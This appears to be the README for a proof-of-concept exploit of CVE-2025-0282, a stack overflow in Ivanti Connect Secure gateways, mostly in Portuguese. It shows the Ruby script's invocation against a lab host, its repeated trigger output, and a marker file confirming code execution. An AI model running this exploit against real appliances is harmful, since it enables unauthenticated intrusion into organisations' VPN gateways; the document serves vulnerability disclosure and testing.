
PoC for CVE-2025-0282: A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways
Um estouro de buffer baseado em pilha remoto não autenticado afetando Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons para gateways ZTA
Este é um exploit de prova de conceito para demonstrar a exploração de CVE-2025-0282, e é baseado na estratégia de exploração publicada por watchTowr.
Este PoC possui uma cadeia ROP construída para atingir Ivanti Connect Secure 22.7r2.4. Nenhuma outra versão pode ser alvo sem primeiro construir a cadeia ROP correspondente para essa versão alvo.
Este PoC possui uma carga útil que executará um comando do sistema operacional para criar um arquivo temporário no sistema alvo. É assim que você sabe que o exploit foi bem-sucedido. A execução de código é alcançada com os privilégios do usuário não root nr.
Podemos executar este script contra um alvo Ivanti Connect Secure vulnerável, versão 22.7r2.4, da seguinte forma:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Se o exploit for bem-sucedido, ele gravará um novo arquivo no diretório temporário /var/tmp/, com um valor numérico correspondente à iteração da tentativa de exploração como parte do nome do arquivo.
Em um shell root separado no dispositivo alvo (que estabelecemos ao fazer jailbreak do appliance), podemos observar quando o exploit foi bem-sucedido:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Podemos ver neste exemplo que o exploit fez 190 tentativas falhas e foi bem-sucedido na 191ª tentativa. Portanto, neste exemplo, a exploração deste alvo foi bem-sucedida em 34 minutos.